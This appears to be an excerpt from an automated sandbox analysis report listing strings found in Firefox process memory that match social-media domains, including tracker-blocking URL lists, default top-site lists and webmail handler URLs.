Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/https://www.wikipedia.org/devtools.jsonview.enabledSSF_updateSessionStoreForStorageconvertStorageTransactionType equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: releaseDistinctSystemPrincipalLoaderresource://devtools/shared/security/socket.js@mozilla.org/dom/slow-script-debug;1devtools.debugger.remote-websocket{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON datadevtools/client/framework/devtoolsFailed to listen. Listener already attached.^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?devtools.performance.popup.feature-flagFailed to execute WebChannel callback:WebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=filedevtools/client/framework/devtools-browserresource://devtools/server/devtools-server.jsUnable to start devtools server on Failed to listen. Callback argument missing.^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)devtools.performance.recording.ui-base-urlbrowser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP^([a-z+.-]+:\/{0,3})*([^\/@]+@).+DevTools telemetry entry point failed: get FIXUP_FLAGS_MAKE_ALTERNATE_URI_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s@mozilla.org/network/file-input-stream;1resource://gre/modules/FileUtils.sys.mjshttps://poczta.interia.pl/mh/?mailto=%shttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1Can't invoke URIFixup in the content processresource://gre/modules/NetUtil.sys.mjsextension/default-theme@mozilla.org/extendedData{33d75835-722f-42c0-89cc-44f328e56a86}isDownloadsImprovementsAlreadyMigratedgecko.handlerService.defaultHandlersVersionget FIXUP_FLAG_FORCE_ALTERNATE_URIextractScheme/fixupChangedProtocol<Scheme should be either http or httpshttp://www.inbox.lv/rfc2368/?value=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/FileUtils.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededhttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/network/async-stream-copier;1Must have a source and a callback@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1https://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/network/input-stream-pump;1https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1https://mail.yahoo.co.jp/compose/?To=%sVALIDATE_DONT
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: updateSessionStoreForStorageDEFAULT_REPLACEMENT_CHARACTERget sendAttributionRequestdecodeImageFromArrayBuffermain/nimbus-desktop-experimentsmessage-manager-disconnecthttps://www.facebook.com/https://www.wikipedia.org/devtools.jsonview.enabledSSF_updateSessionStoreForStorage equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: updated-import-infrequent-rollout-make-yourself-at-home-copyUpdated Import Infrequent Rollout - Make Yourself At Home CopyExperimenting on onboarding content when you upgrade Firefox.firefox-desktop-search-release-no_targeting-rollout-1WEBEXT_BACKGROUND_PAGE_LOAD_MS_BY_ADDONIDdisabled_picture_in_picture_overrides.dailymotionTesting out the data and insights capture in the awesome bar.disabled_picture_in_picture_overrides.frontendMastersdisabled_picture_in_picture_overrides.frontendMastersfirefox-desktop-urlbar-nightly-no_targeting-rollout-2disabled_picture_in_picture_overrides.radiocanadadisabled_picture_in_picture_overrides.washingtonpostThis is a validation test, no changes are being appliedThis is a validation test, no changes are being appliedUPDATE moz_places SET alt_frecency = NULLfirefox-desktop-no-feature-firefox-desktop-release-1places.sqlite#1: PlacesExpiration.jsm: setup (1)WEBEXT_BACKGROUND_PAGE_LOAD_MS_BY_ADDONIDdisabled_picture_in_picture_overrides.yahoofinancedisabled_picture_in_picture_overrides.yahoofinancedisabled_picture_in_picture_overrides.dailymotiondisabled_picture_in_picture_overrides.radiocanadadisabled_picture_in_picture_overrides.washingtonpostTesting out the data and insights capture in the awesome bar.firefox-desktop-no-feature-firefox-desktop-release-1places.sqlite#1: PlacesUtils.metadata.get (0)This is a validation test, no changes are being appliedupdated-import-infrequent-rollout-make-yourself-at-home-copyfirefox-desktop-no-feature-firefox-desktop-release-1firefox-desktop-upgradeDialog-no_targeting-rollout-1firefox-desktop-search-nightly-no_targeting-rollout-1firefox-desktop-urlbar-release-no_targeting-rollout-2{"active":false,"fullscreen":true,"tabsintitlebar":false}://static.adsafeprotected.com/vans-adapter-google-ima.js://securepubads.g.doubleclick.net/tag/js/gpt.js*://securepubads.g.doubleclick.net/gpt/pubads_impl_.js*://id.rambler.ru/rambler-id-helper/auth_events.js{"active":false,"fullscreen":true,"tabsintitlebar":false}://www.gstatic.com/firebasejs//firebase-messaging.js://vdb-cdn-files.s3.amazonaws.com//vidible-min.js"://webcompat-addon-testbed.herokuapp.com/shims_test.js""://track.adform.net/serving/scripts/trackpoint/async/"://media.richrelevance.com/rrserver/js/1.2/p13n.js"://static.adsafeprotected.com/vans-adapter-google-ima.js""://web-assets.toggl.com/app/assets/scripts/.js""://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js""://pagead2.googlesyndication.com/tag/js/gpt.js"://www.googleadservices.com/pagead/conversion_async.js"://pagead2.googlesyndication.com/gpt/pubads_impl_.js""://securepubads.g.doubleclick.net/tag/js/gpt.js"://pagead2.googlesyndication.com/gpt/pubads_impl_.js"://track.adform.net/serving/scripts/trackpoint/""://securepubads.g.doubleclick.net/gpt/pubads_impl_.js"nav-bar{"active":false,"fullscreen":true,"tabsintitlebar":false}"://www.googleadservices.com/pagead/conversion_async.js"{"active":false,"fullscreen":true,"tabsintitlebar":false}"*://id.
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: url('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/h&@ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: url('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/h&@ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: url('chrome://activity-stream/content/data/content/assets/mr-pintaskbar.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/h&@ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3407434312.00000214ABE1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3407434312.00000214ABE8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3407434312.00000214ABE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
